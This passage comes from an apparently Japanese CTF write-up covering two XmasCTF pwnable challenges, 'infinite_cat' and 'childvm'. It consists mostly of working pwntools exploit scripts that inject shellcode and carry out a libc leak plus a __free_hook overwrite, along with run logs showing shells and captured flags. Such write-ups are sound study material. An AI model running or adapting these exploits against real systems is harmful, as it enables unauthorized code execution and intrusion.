dynamic, any comment?', payload) time.sleep(0.01) log.info('Pwning') main_addr = elf.symbols['main'] shellcode = asm(shellcraft.sh()) for c in shellcode: make_byte(get_seed(c)) time.sleep(1) conn.sendlineafter('length: ', '1') conn.sendafter('your cat makes seed dynamic, any comment?', 'hoge') conn.interactive()
root@ubuntu:~/ctf/XmasCTF/infine_cat# python exploit.py r [*] '/root/ctf/XmasCTF/infine_cat/infinite_cat' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 45.32.113.43 on port 12025: Done [*] Pwning [*] Switching to interactive mode length: $ 1 your cat makes seed dynamic, any comment? $ hoge Now printing... $ ███╗ ██╗ ██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ████╗ ██║ ╚██╗ ██╔╝ ██╔══██╗ ████╗ ██║ ██╔════╝ ██╔██╗ ██║ ╚████╔╝ ███████║ ██╔██╗ ██║ ██║ ███╗ ██║╚██╗██║ ╚██╔╝ ██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ╚████║ ██║ ██║ ██║ ██║ ╚████║ ╚██████╔╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ $ id uid=1000(infinite_cat_theorem) gid=1000(infinite_cat_theorem) groups=1000(infinite_cat_theorem) $ cat flag XMAS{your_cat_will_write_works_of_Shakespeare}
[PWNABLE] CHILDVM
独自VM。
free()
後にポインタのクリアをしないため、unsortedbinに入るチャンクからだとlibcのアドレスをリークできる。あとは値をリークさせてから__free_hook
へsystem()
を書き込んだ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') RHOST = "45.32.113.43" RPORT = 31338 LHOST = "127.0.0.1" LPORT = 31338 # libc = ELF('./libc.so.6_32') elf = ELF('./childvm') offset = 0x1b27b0 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./childvm'], gdbscript=execute) else: conn = process(['./childvm']) # conn = process(['./childvm'], env={'LD_PRELOAD': './libc.so.6_32'}) # preparing for exploitation log.info('Pwning') def movi(op1, op2): return chr(16) + p32(op1) + p32(op2) def malloc(op1, op2): return chr(32) + p32(op1) + p32(op2) def free(op1, op2): return chr(48) + p32(op1) + p32(op2) def movxy(op1, op2): return chr(64) + p32(op1) + p32(op2) def sub(op1, op2): return chr(80) + p32(op1) + p32(op2) def read(op1, op2): return chr(112) + p32(op1) + p32(op2) def movm(op1, op2): return chr(128) + p32(op1) + p32(op2) def puts(op1, op2): return chr(144) + p32(op1) + p32(op2) payload = '' payload += malloc(0x80, 0xdeadbeef) payload += movm(0, 3) payload += malloc(0x80, 0xdeadbeef) payload += free(0,0) payload += puts(0,0) conn.send(payload) time.sleep(0.1) conn.recvuntil('\xb0') conn.recv(3) libc_base = u32(conn.recv(4)) - offset log.info('libc_base = 0x%x', libc_base) payalod = '' payload += movm(0, 3) payload += movi(1, 0x9) payload += read(0, 0) payload += '/bin/sh\x00\x00' payload += movi(2, libc_base + 0x1b38b0) payload += movm(0, 2) payload += read(0, 0) payload += p32(libc_base + 0x3ada0)*2 + 'a' payload += movm(0, 3) payload += free(0, 0) conn.send(payload) conn.interactive()
root@ubuntu:~/ctf/XmasCTF/childvm/childvm# python exploit.py r [*] '/root/ctf/XmasCTF/childvm/childvm/childvm' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 45.32.113.43 on port 31338: Done [*] Pwning [*] libc_base = 0xf75b1000 [*] Switching to interactive mode \xb07v�7v� $ id uid=1001(childvm) gid=1001(childvm) groups=1001(childvm) $ cat flag XMAS{i'm_not_solo_TT}
おわりに
メリークリスマス!!!!!